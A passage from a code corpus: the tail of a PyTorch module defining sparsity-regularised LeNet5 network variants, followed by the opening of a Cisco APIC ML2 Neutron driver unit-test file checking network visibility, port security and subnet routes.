group_relaxed_L1Conv2d): neuron+=layer.count_total_neuron() return neuron def count_reg_neuron_sparsity(self): neuron = 0 total = 0 for layer in self.layers: if isinstance(layer, group_relaxed_L1Conv2d) or isinstance(layer,group_relaxed_L1Dense): neuron+=layer.count_active_neuron() total+=layer.count_total_neuron() return 1-neuron/total def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: try: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 except: pass return expected_flops, expected_l0 class group_relaxed_L1L2LeNet5(nn.Module): def __init__(self, num_classes, input_size=(1, 28, 28), conv_dims=(20, 50), fc_dims=500, N=50000, beta_ema=0., weight_decay=1, lambas=(1., 1., 1., 1.), beta=4, local_rep=False, temperature=2./3.): super(group_relaxed_L1L2LeNet5, self).__init__() self.N = N assert(len(conv_dims) == 2) self.conv_dims = conv_dims self.fc_dims = fc_dims self.beta_ema = beta_ema self.weight_decay = weight_decay convs = [group_relaxed_L1L2Conv2d(input_size[0], conv_dims[0], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[0], beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2), group_relaxed_L1L2Conv2d(conv_dims[0], conv_dims[1], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[1], beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2)] self.convs = nn.Sequential(*convs) if torch.cuda.is_available(): self.convs = self.convs.cuda() flat_fts = get_flat_fts(input_size, self.convs) fcs = [group_relaxed_L1L2Dense(flat_fts, self.fc_dims, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[2], beta=beta, local_rep=local_rep, temperature=temperature), nn.ReLU(), group_relaxed_L1L2Dense(self.fc_dims, num_classes, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[3], beta=beta, local_rep=local_rep, temperature=temperature)] self.fcs = nn.Sequential(*fcs) self.layers = [] for m in self.modules(): if isinstance(m, group_relaxed_L1L2Dense) or isinstance(m, group_relaxed_L1L2Conv2d): self.layers.append(m) if beta_ema > 0.: print('Using temporal averaging with beta: {}'.format(beta_ema)) self.avg_param = deepcopy(list(p.data for p in self.parameters())) if torch.cuda.is_available(): self.avg_param = [a.cuda() for a in self.avg_param] self.steps_ema = 0. def forward(self, x): o = self.convs(x) o = o.view(o.size(0), -1) return self.fcs(o) def regularization(self): regularization = 0. for layer in self.layers: regularization += - (1. / self.N) * layer.regularization() if torch.cuda.is_available(): regularization = regularization.cuda() return regularization def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 return expected_flops, expected_l0 def update_ema(self): self.steps_ema += 1 for p, avg_p in zip(self.parameters(), self.avg_param): avg_p.mul_(self.beta_ema).add_((1 - self.beta_ema) * p.data) def load_ema_params(self): for p, avg_p in zip(self.parameters(), self.avg_param): p.data.copy_(avg_p / (1 - self.beta_ema**self.steps_ema)) def load_params(self, params): for p, avg_p in zip(self.parameters(), params): p.data.copy_(avg_p) def get_params(self): params = deepcopy(list(p.data for p in self.parameters())) return params def get_w_sparsity(self): sparsity_num = 0. sparsity_denom = 0. for layer in self.layers: sparsity_num += layer.count_zero_w() sparsity_denom += layer.count_weight() return sparsity_num/sparsity_denom def count_active_neuron(self): neuron = 0 for layer in self.layers: neuron += layer.count_active_neuron() return neuron def count_total_neuron(self): neuron = 0 for layer in self.layers: if isinstance(layer, group_relaxed_L1L2Dense) or isinstance(layer, MAPConv2d) or isinstance(layer, group_relaxed_L1L2Conv2d): neuron+=layer.count_total_neuron() return neuron def count_reg_neuron_sparsity(self): neuron = 0 total = 0 for layer in self.layers: if isinstance(layer, group_relaxed_L1L2Conv2d) or isinstance(layer,group_relaxed_L1L2Dense): neuron+=layer.count_active_neuron() total+=layer.count_total_neuron() return 1-neuron/total def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: try: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 except: pass return expected_flops, expected_l0 class group_relaxed_TF1LeNet5(nn.Module): def __init__(self, num_classes, input_size=(1, 28, 28), conv_dims=(20, 50), fc_dims=500, N=50000, beta_ema=0., weight_decay=1, lambas=(1., 1., 1., 1.), alpha = 1., beta=4, local_rep=False, temperature=2./3.): super(group_relaxed_TF1LeNet5, self).__init__() self.N = N assert(len(conv_dims) == 2) self.conv_dims = conv_dims self.fc_dims = fc_dims self.beta_ema = beta_ema self.weight_decay = weight_decay convs = [group_relaxed_TF1Conv2d(input_size[0], conv_dims[0], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[0], alpha=alpha, beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2), group_relaxed_TF1Conv2d(conv_dims[0], conv_dims[1], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[1], alpha = alpha, beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2)] self.convs = nn.Sequential(*convs) if torch.cuda.is_available(): self.convs = self.convs.cuda() flat_fts = get_flat_fts(input_size, self.convs) fcs = [group_relaxed_TF1Dense(flat_fts, self.fc_dims, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[2], alpha = alpha, beta=beta, local_rep=local_rep, temperature=temperature), nn.ReLU(), group_relaxed_TF1Dense(self.fc_dims, num_classes, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[3], alpha = alpha, beta=beta, local_rep=local_rep, temperature=temperature)] self.fcs = nn.Sequential(*fcs) self.layers = [] for m in self.modules(): if isinstance(m, group_relaxed_TF1Dense) or isinstance(m, group_relaxed_TF1Conv2d): self.layers.append(m) if beta_ema > 0.: print('Using temporal averaging with beta: {}'.format(beta_ema)) self.avg_param = deepcopy(list(p.data for p in self.parameters())) if torch.cuda.is_available(): self.avg_param = [a.cuda() for a in self.avg_param] self.steps_ema = 0. def forward(self, x): o = self.convs(x) o = o.view(o.size(0), -1) return self.fcs(o) def regularization(self): regularization = 0. for layer in self.layers: regularization += - (1. / self.N) * layer.regularization() if torch.cuda.is_available(): regularization = regularization.cuda() return regularization def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 return expected_flops, expected_l0 def update_ema(self): self.steps_ema += 1 for p, avg_p in zip(self.parameters(), self.avg_param): avg_p.mul_(self.beta_ema).add_((1 - self.beta_ema) * p.data) def load_ema_params(self): for p, avg_p in zip(self.parameters(), self.avg_param): p.data.copy_(avg_p / (1 - self.beta_ema**self.steps_ema)) def load_params(self, params): for p, avg_p in zip(self.parameters(), params): p.data.copy_(avg_p) def get_params(self): params = deepcopy(list(p.data for p in self.parameters())) return params def get_w_sparsity(self): sparsity_num = 0. sparsity_denom = 0. for layer in self.layers: sparsity_num += layer.count_zero_w() sparsity_denom += layer.count_weight() return sparsity_num/sparsity_denom def count_active_neuron(self): neuron = 0 for layer in self.layers: neuron += layer.count_active_neuron() return neuron def count_total_neuron(self): neuron = 0 for layer in self.layers: if isinstance(layer, group_relaxed_TF1Dense) or isinstance(layer, MAPConv2d) or isinstance(layer, group_relaxed_TF1Conv2d): neuron+=layer.count_total_neuron() return neuron def count_reg_neuron_sparsity(self): neuron = 0 total = 0 for layer in self.layers: if isinstance(layer, group_relaxed_TF1Conv2d) or isinstance(layer,group_relaxed_TF1Dense): neuron+=layer.count_active_neuron() total+=layer.count_total_neuron() return 1-neuron/total def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: try: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 except: pass return expected_flops, expected_l0 class group_relaxed_SCADLeNet5(nn.Module): def __init__(self, num_classes, input_size=(1, 28, 28), conv_dims=(20, 50), fc_dims=500, N=50000, beta_ema=0., weight_decay=1, lambas=(1., 1., 1., 1.), beta=4, local_rep=False, temperature=2./3.): super(group_relaxed_SCADLeNet5, self).__init__() self.N = N assert(len(conv_dims) == 2) self.conv_dims = conv_dims self.fc_dims = fc_dims self.beta_ema = beta_ema self.weight_decay = weight_decay convs = [group_relaxed_SCAD_Conv2d(input_size[0], conv_dims[0], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[0], beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2), group_relaxed_SCAD_Conv2d(conv_dims[0], conv_dims[1], 5, droprate_init=0.5, temperature=temperature, weight_decay=self.weight_decay, lamba=lambas[1], beta=beta, local_rep=local_rep), nn.ReLU(), nn.MaxPool2d(2)] self.convs = nn.Sequential(*convs) if torch.cuda.is_available(): self.convs = self.convs.cuda() flat_fts = get_flat_fts(input_size, self.convs) fcs = [group_relaxed_SCAD_Dense(flat_fts, self.fc_dims, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[2], beta=beta, local_rep=local_rep, temperature=temperature), nn.ReLU(), group_relaxed_SCAD_Dense(self.fc_dims, num_classes, droprate_init=0.5, weight_decay=self.weight_decay, lamba=lambas[3], beta=beta, local_rep=local_rep, temperature=temperature)] self.fcs = nn.Sequential(*fcs) self.layers = [] for m in self.modules(): if isinstance(m, group_relaxed_SCAD_Dense) or isinstance(m, group_relaxed_SCAD_Conv2d): self.layers.append(m) if beta_ema > 0.: print('Using temporal averaging with beta: {}'.format(beta_ema)) self.avg_param = deepcopy(list(p.data for p in self.parameters())) if torch.cuda.is_available(): self.avg_param = [a.cuda() for a in self.avg_param] self.steps_ema = 0. def forward(self, x): o = self.convs(x) o = o.view(o.size(0), -1) return self.fcs(o) def regularization(self): regularization = 0. for layer in self.layers: regularization += - (1. / self.N) * layer.regularization() if torch.cuda.is_available(): regularization = regularization.cuda() return regularization def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 return expected_flops, expected_l0 def update_ema(self): self.steps_ema += 1 for p, avg_p in zip(self.parameters(), self.avg_param): avg_p.mul_(self.beta_ema).add_((1 - self.beta_ema) * p.data) def load_ema_params(self): for p, avg_p in zip(self.parameters(), self.avg_param): p.data.copy_(avg_p / (1 - self.beta_ema**self.steps_ema)) def load_params(self, params): for p, avg_p in zip(self.parameters(), params): p.data.copy_(avg_p) def get_params(self): params = deepcopy(list(p.data for p in self.parameters())) return params def get_w_sparsity(self): sparsity_num = 0. sparsity_denom = 0. for layer in self.layers: sparsity_num += layer.count_zero_w() sparsity_denom += layer.count_weight() return sparsity_num/sparsity_denom def count_active_neuron(self): neuron = 0 for layer in self.layers: neuron += layer.count_active_neuron() return neuron def count_total_neuron(self): neuron = 0 for layer in self.layers: if isinstance(layer, group_relaxed_SCAD_Dense) or isinstance(layer, MAPConv2d) or isinstance(layer, group_relaxed_SCAD_Conv2d): neuron+=layer.count_total_neuron() return neuron def count_reg_neuron_sparsity(self): neuron = 0 total = 0 for layer in self.layers: if isinstance(layer, group_relaxed_SCAD_Conv2d) or isinstance(layer,group_relaxed_SCAD_Dense): neuron+=layer.count_active_neuron() total+=layer.count_total_neuron() return 1-neuron/total def get_exp_flops_l0(self): expected_flops, expected_l0 = 0., 0. for layer in self.layers: try: e_fl, e_l0 = layer.count_expected_flops_and_l0() expected_flops += e_fl expected_l0 += e_l0 except: pass return expected_flops, expected_l0

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267,578

py

Python

apic_ml2/neutron/tests/unit/ml2/drivers/cisco/apic/test_cisco_apic_mechanism_driver.py

noironetworks/apic-ml2-driver

9093d766d2e17ceccf948bc51e2963d655ce4f37

[ "Apache-2.0" ]

8

2015-06-12T09:41:29.000Z

2021-02-19T05:41:39.000Z

apic_ml2/neutron/tests/unit/ml2/drivers/cisco/apic/test_cisco_apic_mechanism_driver.py

noironetworks/apic-ml2-driver

9093d766d2e17ceccf948bc51e2963d655ce4f37

[ "Apache-2.0" ]

57

2015-09-12T07:19:34.000Z

2020-02-11T12:57:54.000Z

apic_ml2/neutron/tests/unit/ml2/drivers/cisco/apic/test_cisco_apic_mechanism_driver.py

noironetworks/apic-ml2-driver

9093d766d2e17ceccf948bc51e2963d655ce4f37

[ "Apache-2.0" ]

12

2015-10-13T12:29:12.000Z

2019-04-10T08:09:54.000Z

# Copyright (c) 2014 Cisco Systems # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import base64 import copy import hashlib import hmac import re import sys import tempfile from apicapi import apic_client from apicapi import apic_manager from apicapi import apic_mapper import mock import netaddr from neutron.api import extensions from neutron.common import constants as n_constants from neutron import context from neutron.db import api as db_api from neutron.db import db_base_plugin_v2 # noqa from neutron.db import models_v2 # noqa from neutron.extensions import portbindings from neutron import manager from neutron.plugins.ml2 import db as ml2_db from neutron.plugins.ml2 import driver_api as api from neutron.plugins.ml2 import driver_context from neutron.plugins.ml2.drivers import type_vlan # noqa from neutron.tests.unit.api import test_extensions from neutron.tests.unit.db import test_db_base_plugin_v2 as test_plugin from neutron.tests.unit import testlib_api from opflexagent import constants as ofcst from oslo_serialization import jsonutils as json # Mock the opflex agent type driver, and its constants, # so that we can test port binding to opflex networks T_DRV = "opflexagent.type_opflex" sys.modules["opflexagent"] = mock.Mock() sys.modules["opflexagent"].constants.TYPE_OPFLEX = 'opflex' sys.modules["opflexagent"].constants.AGENT_TYPE_OPFLEX_OVS = ( 'OpFlex Open vSwitch agent') sys.modules[T_DRV] = mock.Mock() sys.modules[T_DRV].OpflexTypeDriver().get_type.return_value = 'opflex' sys.modules[T_DRV].OpflexTypeDriver().allocate_tenant_segment.return_value = ( {api.NETWORK_TYPE: ofcst.TYPE_OPFLEX, api.PHYSICAL_NETWORK: 'physnet1'}) from apic_ml2.neutron.db import port_ha_ipaddress_binding as ha from apic_ml2.neutron.plugins.ml2.drivers.cisco.apic import ( extension_db as extn_db) from apic_ml2.neutron.plugins.ml2.drivers.cisco.apic import ( mechanism_apic as md) from apic_ml2.neutron.plugins.ml2.drivers.cisco.apic import ( rpc as mech_rpc) from apic_ml2.neutron.plugins.ml2.drivers.cisco.apic import constants as acst from apic_ml2.neutron.services.l3_router import apic_driver as driver from apic_ml2.neutron.tests.unit.ml2.drivers.cisco.apic import ( test_cisco_apic_common as mocked) sys.modules["apicapi"].apic_manager.EXT_EPG = mocked.APIC_EXT_EPG HOST_ID1 = 'ubuntu' HOST_ID2 = 'rhel' ENCAP = '101' SUBNET_GATEWAY = '10.3.2.1' SUBNET_CIDR = '10.3.1.0/24' SUBNET_NETMASK = '24' TEST_SEGMENT1 = 'test-segment1' TEST_SEGMENT2 = 'test-segment2' BOOKED_PORT_VALUE = 'myBookedPort' PLUGIN_NAME = 'neutron.plugins.ml2.plugin.Ml2Plugin' AGENT_TYPE = n_constants.AGENT_TYPE_OVS AGENT_CONF = {'alive': True, 'binary': 'somebinary', 'topic': 'sometopic', 'agent_type': AGENT_TYPE, 'configurations': {'opflex_networks': None, 'bridge_mappings': {'physnet1': 'br-eth1'}}} AGENT_TYPE_DVS = acst.AGENT_TYPE_DVS AGENT_CONF_DVS = {'alive': True, 'binary': 'anotherbinary', 'topic': 'anothertopic', 'agent_type': AGENT_TYPE_DVS, 'configurations': {'opflex_networks': None}} AGENT_CONF_OPFLEX = {'alive': True, 'binary': 'somebinary', 'topic': 'sometopic', 'agent_type': ofcst.AGENT_TYPE_OPFLEX_OVS, 'configurations': { 'opflex_networks': None, 'bridge_mappings': {'physnet1': 'br-eth1'}}} APIC_EXTERNAL_RID = '1.0.0.1' TEST_TENANT = test_plugin.TEST_TENANT_ID ALLOW_ROUTE_LEAK = 'apic:allow_route_leak' USE_ROUTING_CONTEXT = 'apic:use_routing_context' def echo(context, id, prefix=''): return id if not prefix else (prefix + id) def name(name): return name def equal(x, y): return str(x) == str(y) class ApicML2IntegratedTestBase(test_plugin.NeutronDbPluginV2TestCase, mocked.ControllerMixin, mocked.ConfigMixin, mocked.ApicDBTestBase): _extension_drivers = ['port_security', 'apic_ml2'] def setUp(self, service_plugins=None, ml2_opts=None): mocked.ControllerMixin.set_up_mocks(self) mocked.ConfigMixin.set_up_mocks(self, ml2_opts=ml2_opts) self.override_conf('integrated_topology_service', True, 'ml2_cisco_apic') self.override_conf('per_tenant_context', False, 'ml2_cisco_apic') self.override_conf('extension_drivers', self._extension_drivers, group='ml2') self.override_conf('path_mtu', 1000, group='ml2') self.override_conf('global_physnet_mtu', 1000) self.override_conf('advertise_mtu', True, None) service_plugins = ( service_plugins or {'L3_ROUTER_NAT': 'apic_ml2.neutron.services.l3_router.' 'l3_apic.ApicL3ServicePlugin', 'flavors_plugin_name': 'neutron.services.flavors.' 'flavors_plugin.FlavorsPlugin'}) mock.patch('apic_ml2.neutron.plugins.ml2.drivers.' 'cisco.apic.nova_client.NovaClient').start() apic_client.RestClient = mock.Mock() apic_manager.APICManager.ensure_infra_created_on_apic = mock.Mock() apic_manager.APICManager.ensure_bgp_pod_policy_created_on_apic = ( mock.Mock()) apic_mapper.ApicName.__eq__ = equal super(ApicML2IntegratedTestBase, self).setUp( PLUGIN_NAME, service_plugins=service_plugins) ext_mgr = extensions.PluginAwareExtensionManager.get_instance() self.ext_api = test_extensions.setup_extensions_middleware(ext_mgr) self.plugin.remove_networks_from_down_agents = mock.Mock() self.plugin.is_agent_down = mock.Mock(return_value=False) self.driver = self.plugin.mechanism_manager.mech_drivers[ 'cisco_apic_ml2'].obj self.synchronizer = mock.Mock() md.importutils = mock.Mock() md.APICMechanismDriver.get_base_synchronizer = mock.Mock( return_value=self.synchronizer) self.driver.name_mapper.aci_mapper.tenant = echo self.driver.apic_manager.apic = mock.Mock() self.driver.apic_manager.apic.transaction = self.fake_transaction self.rpc = self.driver.topology_endpoints[0] self.db = self.driver.apic_manager.db for switch in self.switch_dict: for module_port in self.switch_dict[switch]: module, port = module_port.split('/', 1) hosts = self.switch_dict[switch][module_port] for host in hosts: self.driver.apic_manager.add_hostlink( host, 'static', None, switch, module, port) self.mgr = self.driver.apic_manager self.mgr.apic.fvTenant.name = name self.mgr.apic.fvCtx.name = name self.l3_plugin = manager.NeutronManager.get_service_plugins()[ 'L3_ROUTER_NAT'] self.driver.apic_manager.vmm_shared_secret = base64.b64encode( 'dirtylittlesecret') self.driver.notifier = mock.Mock() self.driver._query_external_EPG = mock.Mock() self.driver._query_external_EPG.return_value = ['5.5.5.0/24', '6.6.6.0/24'] def _mock_external_dict(self, data, is_edge_nat=False): self.driver.apic_manager.ext_net_dict = {} for x in data: self.driver.apic_manager.ext_net_dict.update( self._build_external_dict(x[0], x[1], is_edge_nat=is_edge_nat)) def _build_external_dict(self, name, cidr_exposed, nat_enabled=True, is_edge_nat=False): ext_info = { 'enable_nat': 'True' if nat_enabled else 'False' } ext_info.update({ 'switch': mocked.APIC_EXT_SWITCH, 'port': mocked.APIC_EXT_MODULE + '/' + mocked.APIC_EXT_PORT, 'encap': mocked.APIC_EXT_ENCAP, 'router_id': APIC_EXTERNAL_RID, 'gateway_ip': str(netaddr.IPNetwork(cidr_exposed)[1]), 'cidr_exposed': cidr_exposed}) if is_edge_nat: ext_info['edge_nat'] = 'true' ext_info['vlan_range'] = '2000:2010' return {name: ext_info} def _register_agent(self, host, agent_cfg=AGENT_CONF): plugin = manager.NeutronManager.get_plugin() ctx = context.get_admin_context() agent = {'host': host} agent.update(agent_cfg) plugin.create_or_update_agent(ctx, agent) def _bind_port_to_host(self, port_id, host): data = {'port': {'binding:host_id': host, 'device_owner': 'compute:', 'device_id': 'someid'}} # Create EP with bound port req = self.new_update_request('ports', data, port_id, self.fmt) return self.deserialize(self.fmt, req.get_response(self.api)) def _bind_dhcp_port_to_host(self, port_id, host): data = {'port': {'binding:host_id': host, 'device_owner': 'network:dhcp', 'device_id': 'someid'}} # Create EP with bound port req = self.new_update_request('ports', data, port_id, self.fmt) return self.deserialize(self.fmt, req.get_response(self.api)) def _check_call_list(self, expected, observed): for obs in observed: if len(obs[0]) > 1 and type(obs[0][1]) is dict and ( 'fixed_ips' in obs[0][1]): obs[0][1]['fixed_ips'][0]['ip_address'] = '' for call in expected: if len(call[1]) > 1 and type(call[1][1]) is dict and ( 'fixed_ips' in call[1][1]): call[1][1]['fixed_ips'][0]['ip_address'] = '' self.assertTrue(call in observed, msg='Call not found, expected:\n%s\nobserved:' '\n%s' % (str(call), str(observed))) observed.remove(call) self.assertFalse( len(observed), msg='There are more calls than expected: %s' % str(observed)) def _add_hosts_to_apic(self, num, vpc=False): for x in range(1, num + 1): self.db.add_hostlink( 'h%s' % x, 'eth0' if vpc else 'static', None, str(x), '1', str(x)) if vpc: self.db.add_hostlink( 'h%s' % x, 'eth1', None, str(x + 1), '1', str(x)) self.rpc.peers = self.rpc._load_peers() def _get_gbp_details(self, port_id, host): return self.driver.get_gbp_details( context.get_admin_context(), device='tap%s' % port_id, host=host) def _request_endpoint_details(self, port_id, host, timestamp=None, request_id=None): return self.driver.request_endpoint_details( context.get_admin_context(), request={'device': 'tap%s' % port_id, 'timestamp': 0, 'request_id': 'request_id'}, host=host) def _check_ip_in_cidr(self, ip_addr, cidr): self.assertTrue(netaddr.IPAddress(ip_addr) in netaddr.IPNetwork(cidr)) class ApicML2IntegratedTestCase(ApicML2IntegratedTestBase): def test_network_visibility(self): net = self.create_network(tenant_id='onetenant', expected_res_status=201)['network'] # Visible by onetenant self.show_network(net['id'], tenant_id='onetenant', expected_res_status=200) # Not visible by anothertenant self.show_network(net['id'], tenant_id='anothertenant', expected_res_status=404) # Visible by admintenant self.show_network(net['id'], tenant_id='admintenant', is_admin_context=True, expected_res_status=200) def test_shared_network_visibility(self): net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] # Visible by onetenant self.show_network(net['id'], tenant_id='onetenant', expected_res_status=200) # Visible by anothertenant self.show_network(net['id'], tenant_id='anothertenant', expected_res_status=200) # Visible by admintenant self.show_network(net['id'], tenant_id='admintenant', is_admin_context=True, expected_res_status=200) def test_port_on_shared_non_opflex_network(self): self._register_agent('h1') net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub, tenant_id='anothertenant') as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) self.mgr.ensure_path_created_for_port = mock.Mock() # Bind port to trigger path binding self._bind_port_to_host(p1['id'], 'h1') # Called on the network's tenant self.mgr.ensure_path_created_for_port.assert_called_once_with( self._tenant(neutron_tenant='onetenant'), net['id'], 'h1', mock.ANY, transaction=mock.ANY, bd_name=None, app_profile_name=self._app_profile( neutron_tenant='onetenant')) def test_port_on_shared_opflex_network(self): self.driver.apic_optimized_dhcp_lease_time = 100 self._register_agent('h1') net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub, tenant_id='anothertenant') as p1: p1 = p1['port'] self.assertEqual(net['id'], p1['network_id']) # Bind port to trigger path binding self._bind_port_to_host(p1['id'], 'h1') self.driver._add_ip_mapping_details = mock.Mock() details = self._get_gbp_details(p1['id'], 'h1') self.assertEqual(self._tenant(neutron_tenant='onetenant'), details['ptg_tenant']) self.assertEqual(self._app_profile(neutron_tenant='onetenant'), details['app_profile_name']) self.assertEqual('onetenant', details['tenant_id']) self.assertTrue(details['enable_dhcp_optimization']) self.assertEqual(1, len(details['subnets'])) self.assertEqual(sub['subnet']['id'], details['subnets'][0]['id']) # Verify Interface MTU correctly set self.assertEqual(1000, details['interface_mtu']) self.assertEqual(100, details['dhcp_lease_time']) def test_port_security_port(self): self._register_agent('h1') net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) self.driver._add_ip_mapping_details = mock.Mock() # test compute port p1 = self.create_port( network_id=net['id'], tenant_id='onetenant', device_owner='compute:', device_id='someid')['port'] self._bind_port_to_host(p1['id'], 'h1') details = self._get_gbp_details(p1['id'], 'h1') self.assertFalse(details['promiscuous_mode']) p2 = self.create_port( network_id=net['id'], tenant_id='onetenant', device_owner='compute:', device_id='someid', port_security_enabled=True)['port'] self._bind_port_to_host(p2['id'], 'h1') details = self._get_gbp_details(p2['id'], 'h1') self.assertFalse(details['promiscuous_mode']) p3 = self.create_port( network_id=net['id'], tenant_id='onetenant', device_owner='compute:', device_id='someid', port_security_enabled=False)['port'] self._bind_port_to_host(p3['id'], 'h1') details = self._get_gbp_details(p3['id'], 'h1') self.assertTrue(details['promiscuous_mode']) # test DHCP port p1_dhcp = self.create_port( network_id=net['id'], tenant_id='onetenant', device_owner=n_constants.DEVICE_OWNER_DHCP, device_id='someid')[ 'port'] self._bind_port_to_host(p1_dhcp['id'], 'h1') details = self._get_gbp_details(p1_dhcp['id'], 'h1') self.assertTrue(details['promiscuous_mode']) p2_dhcp = self.create_port( network_id=net['id'], tenant_id='onetenant', device_owner=n_constants.DEVICE_OWNER_DHCP, device_id='someid', port_security_enabled=True)['port'] self._bind_port_to_host(p2_dhcp['id'], 'h1') details = self._get_gbp_details(p2_dhcp['id'], 'h1') self.assertTrue(details['promiscuous_mode']) p3_dhcp = self.create_port( network_id=net['id'], tenant_id='onetenant', device_owner=n_constants.DEVICE_OWNER_DHCP, device_id='someid', port_security_enabled=False)['port'] self._bind_port_to_host(p3_dhcp['id'], 'h1') details = self._get_gbp_details(p3_dhcp['id'], 'h1') self.assertTrue(details['promiscuous_mode']) def test_enhanced_subnet_options(self): self._register_agent('h1') net = self.create_network( tenant_id='onetenant', expected_res_status=201, shared=True, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) with self.port(subnet=sub, tenant_id='onetenant') as p1: with self.port(subnet=sub, device_owner='network:dhcp', tenant_id='onetenant') as dhcp: p1 = p1['port'] dhcp = dhcp['port'] self.assertEqual(net['id'], p1['network_id']) # Bind port to trigger path binding self._bind_port_to_host(p1['id'], 'h1') self.driver._add_ip_mapping_details = mock.Mock() self.driver.enable_metadata_opt = False details = self._get_gbp_details(p1['id'], 'h1') self.assertEqual(1, len(details['subnets'])) # Verify that DNS nameservers are correctly set self.assertEqual([dhcp['fixed_ips'][0]['ip_address']], details['subnets'][0]['dns_nameservers']) # Verify Default route via GW self.assertTrue({'destination': '0.0.0.0/0', 'nexthop': '192.168.0.1'} in details['subnets'][0]['host_routes']) # Verify Metadata route via DHCP self.assertTrue( {'destination': '169.254.169.254/16', 'nexthop': dhcp['fixed_ips'][0]['ip_address']} in details['subnets'][0]['host_routes']) # Verify no extra routes are leaking inside self.assertEqual(2, len(details['subnets'][0]['host_routes'])) self.assertEqual([dhcp['fixed_ips'][0]['ip_address']], details['subnets'][0]['dhcp_server_ips']) def _test_vrf_details(self, vrf_per_router=False): self._register_agent('h1') net = self.create_network( tenant_id=mocked.APIC_TENANT, is_admin_context=True)['network'] sub = self.create_subnet( network_id=net['id'], cidr='192.168.0.0/24', ip_version=4, is_admin_context=True) self.create_subnet( network_id=net['id'], cidr='192.168.2.0/24', ip_version=4, is_admin_context=True) net1 = self.create_network( tenant_id=mocked.APIC_TENANT, is_admin_context=True)['network'] sub2 = self.create_subnet( network_id=net1['id'], cidr='192.168.4.0/24', ip_version=4, is_admin_context=True) net2 = self.create_network( tenant_id=mocked.APIC_TENANT, is_admin_context=True)['network'] sub3 = self.create_subnet( network_id=net2['id'], cidr='192.168.6.0/24', ip_version=4, is_admin_context=True) self.create_subnet( network_id=net2['id'], cidr='192.168.8.0/24', ip_version=4, is_admin_context=True) net_route_leak = self.create_network( tenant_id=mocked.APIC_TENANT, is_admin_context=True, **{'apic:allow_route_leak': 'True'})['network'] sub_route_leak = self.create_subnet( network_id=net_route_leak['id'], cidr='192.168.96.0/24', ip_version=4, is_admin_context=True) net_route_leak1 = self.create_network( tenant_id=mocked.APIC_TENANT, is_admin_context=True, **{'apic:allow_route_leak': 'True'})['network'] sub_route_leak1 = self.create_subnet( network_id=net_route_leak1['id'], cidr='192.168.98.0/24', ip_version=4, is_admin_context=True) router = self.create_router(api=self.ext_api, tenant_id=mocked.APIC_TENANT)['router'] # use_routing_context router router1 = self.create_router(api=self.ext_api, tenant_id=mocked.APIC_TENANT, **{'apic:use_routing_context': router['id']} )['router'] self.l3_plugin.add_router_interface( context.get_admin_context(), router1['id'], {'subnet_id': sub['subnet']['id']}) self.l3_plugin.add_router_interface( context.get_admin_context(), router['id'], {'subnet_id': sub3['subnet']['id']}) self.l3_plugin.add_router_interface( context.get_admin_context(), router1['id'], {'subnet_id': sub_route_leak['subnet']['id']}) self.l3_plugin.add_router_interface( context.get_admin_context(), router['id'], {'subnet_id': sub_route_leak1['subnet']['id']}) self.driver._add_ip_mapping_details = mock.Mock() with self.port(subnet=sub_route_leak, tenant_id=mocked.APIC_TENANT) as p0: p0 = p0['port'] self._bind_port_to_host(p0['id'], 'h1') details = self._get_gbp_details(p0['id'], 'h1') if self.driver.per_tenant_context and vrf_per_router: 